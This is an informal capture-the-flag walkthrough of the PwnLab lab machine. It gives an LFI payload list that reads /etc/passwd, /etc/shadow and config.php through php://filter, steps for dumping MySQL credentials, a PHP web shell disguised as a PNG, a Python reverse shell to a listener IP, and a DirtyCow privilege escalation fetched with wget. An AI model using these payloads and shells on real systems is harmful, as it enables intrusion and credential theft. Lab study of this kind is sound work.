Now we can use burpsuite to analyze stuffs. Firstly, change your firefox proxy to loopback "manual", from setting, preferences, network. Http proxy: 127.0.0.1, and port:8080, which is the default port for burpsuite. Note: if you try rerunning/refresh the page, it might failed to open, cause we use now "manual proxy" to connect with our burpsuite. Click okay from the setting in firefox.

In burpsuite, click "proxy" and make sure the "interception" is on. If you want the webpage to be able to reload again so that you can click on its "login" menu, click "intercept" and/or "forward" on burpsuite.

We need to see if the config.php is accessible.
After being there (in burpsuite, after clicking on "login"), right-click there and choose "send to intruder".
In the "intruder" tab, check "positions" tab to see if that "login" is in green, something like that, highlighted. Then click on the payload options. Being there, under the "payload options [simple list], copy and paste this text in quotes "" in it. 
"
/etc/issue
/etc/passwd
/etc/shadow
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
php://filter/read=string.rot13/resource=index.php
php://filter/read=string.rot13/resource=config.php
php://filter/read=string.rot13/resource=upload.php
php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=config.php
php://filter/convert.base64-encode/resource=upload.php
php://filter/convert.base64-encode/resource=index
php://filter/convert.base64-encode/resource=config
php://filter/convert.base64-encode/resource=upload
pHp://FilTer/convert.base64-encode/resource=index
pHp://FilTer/convert.base64-encode/resource=config
pHp://FilTer/convert.base64-encode/resource=upload
pHp://FilTer/convert.base64-encode/resource=index.php
pHp://FilTer/convert.base64-encode/resource=config.php
pHp://FilTer/convert.base64-encode/resource=upload.php
/etc/passwd%00
/etc%2fpasswd
/etc%2fpasswd%00
/etc%5cpasswd
/etc%5cpasswd%00
/etc%c0%afpasswd
/etc%c0%afpasswd%00

"
Note: remove the quotes. Now, click on "start attack". A new window will pop up, there you will analyze things.
Click on “Length” tab twice or three times, till the biggest number appears in the first position (in our case, it was 2245). Point your mouse the first line on position 1, under “Payload” php://filter/convert.base64-encode/resource=upload”, below click the tab “Response”, scroll down, and copy the text that looks like encoded with base-64. Go to that other burpsuite page and click on the tab “Decoder”, paste it there and choose “ Decode as…base-64” in the first block to decode it.
Now you will find a html decoded code. Copy it and paste into a leapad text document. 
Do the same thing for “index” —>php://filter/convert.base64-encode/resource=index, where its length number might be 1289, sth similar. 
Do the same thing for “php://filter/convert.base64-encode/resource=config” where its “Length” might be 596. 
Booooom !!! You find some credentials, root, password,… in that “php://filter…resou..=config” page, check on terminal to see if it is a mysql password by typing this command:  mysql -h 192.168blabla (the IP of that vulnerable OS) -u root -p and press enter. Type that password found and press enter.
Good  you are in. Now, let’s do some database enumerations:
Type:
show databases; press enter
use Users; and press enter (Note that, the “Users” is found in the database, likewise we found “information_schema”)
show tables; and press enter
select * from users; press enter (Note that, the “users” is found as a table in the database).
Boom!!! Now we get some users’ credentials of the database. But it seems that their passwords are encrypted with base-64. So, decode them in burpsuite as we did before. Let’s say that we choose the Kent’s password to be decrypted. Then make sure your interception in burpsuite is off so that you can reload the vulnerable page to login. Enter “kent” and his decoded password.

Now, we can try to upload an image to the server. Download any png image file, and from that IP address of the pwnlab, click on “browse” and “upload” to upload that image. You will see the image is really uploaded to the vulnerable server lab. 
But, what if we want to upload a php, python file? It will not work, cause the website has some filters in it which allow only images with .gif, .png, etc…
On this, we have to foolish the filter by creating a gedit file and write in it, without quotes:
“
GIF89;
<?php echo shell_exec*$_GET[“cmd”]); ?>
“, and save it as “cmd.png”. Now we can upload the php content into that server.

Next, you can type in the address bar, right after that IP add “/upload” and press enter; you will see the name of your uploaded image takes in the server. 
_Still make sure that your interception is on through the “proxy” tab. Then open up another tab in Firefox and type “that IP vulnerable address/index.php?cmd=hostname”, press enter. Go to the burp suite now in the “proxy” --> “Raw” tabs, delete the cookies session right after the two dots after “Cookie” and paste there the name of that image, of course in its right place, I mean in the upload directory. Eg: Cookie: lang=../upload/f0b8b43230932kl2302390cd0393.png
_Right click on the blank page and send it to “Repeater”, then click “Go”. Scroll down your mouse in right pane to see the html code.
_Now, open a new terminal to make a netcat listener by typing “nc -nlvp 4444”.
_Now we’re gonna inject a python code/command into the “Repeater” —> “Raw” code  right after the “cmd=hostname”, by deleting that only that “hostname”. It will look something like that: 

GET /index.php?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.101",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' HTTP/1.1 etc…………

_Before clicking “Go”, highlight the python command, choose “convert selection” —> “URL” —> “URL encoded all characters” so that you obfuscate that python code. Now, click “Go”. Make sure, you are still on the “Repeater” tab, not the “proxy” tab.
_Go back to your terminal of the command “nc -nlvp 4444”, check that if you have a shell for typing, starting with an ($). Now, you can paste this following code there “python -c 'import pty; pty.spawn("/bin/sh")'” and press enter.
_Type “id”, press enter. Type “su kent” for example and enter the Kent’s password found in the mysql terminal database password after cracking.
_So far so good. Now, you get to his “var/www/html” directory. You can check if you have full access to his folder. Type “cd /root” and press enter. Permission denied. So, this is now our goal. Type there in the shell: “uname -a” and press enter.
_So, now go to this page “https://raw.githubusercontent.com/exrienz/DirtyCow/master/dc32.c” and download and/or copy this “cow32.c”
_Open up a new terminal in your kali, and create a new file there named as “cow32.c” in the directory “cd /var/www/html/“ and paste the code there if you’ve chosen to copy it. Start apache now by typing “service apache2 start”.
_We did this trick (the one in the step right above) just in order to download it on our shell command in the terminal where we got “Permission denied”. Type in the terminal “permission denied”: cd /tmp, in order to put that file in the /tmp directory.
_Type: “wget http://IP add of the kali linux machine/cow32.c”, and press enter.
_Now, let’s use “gcc” in the same terminal of “/tmp” in order to compile that “c” file: “gcc cow32.c -o cowrootBlabla -pthread”, and press enter.
_Now, let’s try to run the executable by typing: ./cowrootBlabla
_Very good, now we get the privilege escalation. Now we are there as root.
_Now, run this “echo 0 > /proc/sys/vm/dirty_writeback_centisecs”, and presss enter. Type “cd /root”, then enter. Type “ls”, enter. Finding two files there?_So, you can just open any of them by typing for example: “cat flag.txt”.